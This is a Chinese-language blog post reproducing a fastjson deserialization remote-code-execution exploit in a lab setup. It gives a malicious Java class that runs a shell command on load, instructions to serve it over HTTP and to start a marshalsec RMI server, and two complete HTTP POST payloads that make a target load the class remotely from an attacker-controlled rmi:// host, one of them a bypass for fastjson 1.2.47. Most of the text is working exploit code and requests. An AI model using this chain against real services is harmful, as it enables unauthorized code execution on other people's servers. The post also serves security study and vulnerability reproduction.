fastjson rce相关复现
作者:互联网
实验环境
攻击机:Win 10(物理机)、ubantu16(公网环境,恶意java文件所在服务器)
靶机: ubantu18
注意
1.Ubuntu18开启恶意加载RMI的java环境需要为低版本1.8的任意版本
2.要有清晰的思路
3.python的简易网站使用的python版本为2.X(python -m SimpleHTTPServer 6666),3.X可直接使用
大致流程:
编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令
①编写恶意类
在ubantu16上,写入一个java文件 TouchfIle.java 放在根目录/root,如果是windows的话就看着放,比如PHPSTUDY放WWW里
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
②编译成class javac TouchFile.java
③在class文件的目录里用python开启简易HTTP服务
python3 -m http.server 4444
④marshalsec起一个RMI服务
1.首先apt install marshalsec 安装哈
2.然后apt install maven 安装maven要编译
3.mvn clean package -DskipTests 编译marshalsec
4.进入marshalsec/target里,存在以下两个可以调用开启RMI服务的jar包
使用以下命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:PORT/#TouchFile" 9999
这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。
⑤物理机抓包,并修改内容,GET改为POST
POST / HTTP/1.1
Host: 45.77.127.27:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://144.202.80.85:9999/TouchFile",
"autoCommit":true
}
}
⑥靶机成功执行命令
json1.2.47 rce利用方式是一样的,只是把payload换成下面这个:
POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 266
Content-Type: application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsB:9999/Exploit",
"autoCommit":true
}
}
标签:fastjson,zh,java,python,TouchFile,复现,rce,class,marshalsec 来源: https://www.cnblogs.com/paku/p/14753388.html